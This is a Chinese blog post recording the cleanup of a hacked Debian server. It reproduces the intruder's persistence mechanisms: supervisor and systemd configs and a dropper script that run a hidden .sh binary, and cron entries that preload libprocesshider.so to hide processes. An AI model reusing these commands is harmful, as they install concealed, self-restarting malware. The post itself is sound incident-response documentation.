Featured image of post [筆記] Debian Buster 伺服器被入侵了!/ Debian Buster Server Been Hacked

[筆記] Debian Buster 伺服器被入侵了!/ Debian Buster Server Been Hacked

上禮拜某天在開會的時候,LINE不斷傳來訊息

不過因為我向來開會都很認真(驕傲,所以都沒看,接著就變成來電了

看來大概有啥事發生

不過畢竟不是正職的工作,就先放著吧

後來變成連學長都直接打來告訴我,某間公司的伺服器出事了,客戶找不到我

叫我趕快連進去看

是說,啊我又沒跟人家簽維護,趕什麼趕…

總之,開完會後就了解一下狀況

了解狀況後(user 也只說不能連線..WTF),還是直接連進去看伺服器啥問題好了

連線的過程就發現,主機回應有點慢

不過還是可以連上,檢查一下ps / netstat 等等訊息,感覺就是有哪裡怪怪的

進去etc 看一下,一下 ls -lart 就發現不對,畫面整個跑掉

感覺就多了很多檔案

所以先裝個file manager 來看(這樣才能避免ls 被駭客調包的情況)

總之就發現了一些不正常的檔案

/etc/.sh 等等族繁不及備載

於是先去FW 把這台機器對外開放的port 先關掉

然後開始紀錄邊清

底下是一些記錄下來的log 很亂,因為是邊清邊紀錄的關係

這是在某個特定日期時間被產生出來的檔案

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/etc/allow.bak
/etc/deny.bak
/etc/fstab
/etc/sysctl.conf
/etc/gshadow
/etc/fstab.bak
/etc/subuid
/etc/subgid
/etc/.supervisor
/sbin/https
/swapfile
/var/mail/root
/var/lib/rkhunter/tmp/group
/var/lib/rkhunter/tmp/passwd
/var/lib/dpkg/info/python-meld3.list
/var/backups/dpkg.status.1.gz
/var/backups/shadow.bak
/var/backups/group.bak
/var/backups/dpkg.status.6.gz
/var/backups/dpkg.status.3.gz
/var/backups/dpkg.status.5.gz
/var/backups/apt.extended_states.0
/var/backups/dpkg.status.2.gz
/var/backups/passwd.bak
/var/backups/gshadow.bak
/var/backups/dpkg.status.0
/var/backups/dpkg.status.4.gz
/var/log/wtmp.1
/var/log/supervisor
/var/log/dpkg.log.1
/var/log/secure
/var/log/apt/term.log.1.gz
/var/log/apt/history.log.1.gz
/usr/lib/systemd
/usr/lib/mysql/mysql

/etc/.supervisor/conf.d/sh.conf

1
2
3
4
5
6
7
8
9
[program:.sh]
directory=/etc/
command=/bin/bash -c 'cp -f -r -- /etc/spts /bin/.sh 2>/dev/null && /bin/.sh -c  >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
autostart=true
autorestart=true
startretries=999999999
redirect_stderr=true
pidfile=/etc/psdewo.pid
stdout_logfile=/etc/usercenter_stdout

php.sh 這個忘了是在crontab 還是/etc/profile.d/底下看到的

1
2
3
4
#!/bin/bash
cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
/bin/.sh -c  >/dev/null 2>&1
rm -rf -- .sh 2>/dev/null

supervisor.sh

1
2
3
#!/bin/bash
supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
supervisorctl reload >/dev/null 2>&1

某個 service 檔案

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[Unit]
Description=.sh

Wants=network.target
After=syslog.target network-online.target

[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/.funzip /bin/.sh 2>/dev/null && /bin/.sh -c  >/dev/null 2>&1 && rm -rf -- /bin/.sh 2>/dev/null'
Restart=always
KillMode=process

[Install]
WantedBy=multi-user.target

syslog 部份內容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Jul  7 06:20:01 pve CRON[12502]: (root) CMD (/sbin/httpss)
Jul  7 06:20:01 pve CRON[12499]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul  7 06:21:01 pve CRON[14096]: (root) CMD (/usr/lib/mysql/mysql)
Jul  7 06:21:01 pve CRON[14095]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul  7 06:21:01 pve CRON[14094]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c  >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul  7 06:22:01 pve CRON[15995]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul  7 06:22:01 pve CRON[15994]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c  >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul  7 06:22:01 pve CRON[15996]: (root) CMD (/usr/lib/mysql/mysql)
Jul  7 06:23:01 pve CRON[17708]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul  7 06:23:01 pve CRON[17709]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c  >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul  7 06:23:01 pve CRON[17710]: (root) CMD (/usr/lib/mysql/mysql)
Jul  7 06:24:01 pve CRON[19353]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c  >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul  7 06:24:01 pve CRON[19351]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)
Jul  7 06:24:01 pve CRON[19352]: (root) CMD (/usr/lib/mysql/mysql)
Jul  7 06:25:01 pve CRON[21289]: (root) CMD ( cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c  >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null)
Jul  7 06:25:01 pve CRON[21290]: (root) CMD (/usr/lib/mysql/mysql)
Jul  7 06:25:01 pve CRON[21288]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ))
Jul  7 06:25:01 pve CRON[21291]: (root) CMD ( echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1)

比較特別的是,他會去修改 /etc/fstab 載入一個 swapfile

WTF!? 沒事載入自己的 fstab 做啥??

然後還會在系統建立user 可以看一下 /etc/passwd , /etc/group , /etc/gshadow 這些檔案檢查

手邊最好有另一臺乾淨的同樣作業系統的機器

因為有很多系統指令已經被替換掉(netstat/ss/lsof 等等)

需要從乾淨的系統弄過來,或者是重新從apt 安裝回來

Licensed under CC BY-NC-SA 4.0
comments powered by Disqus
鮮衣怒馬少年時 不負韶華行且知
使用 Hugo 建立
主題 StackJimmy 設計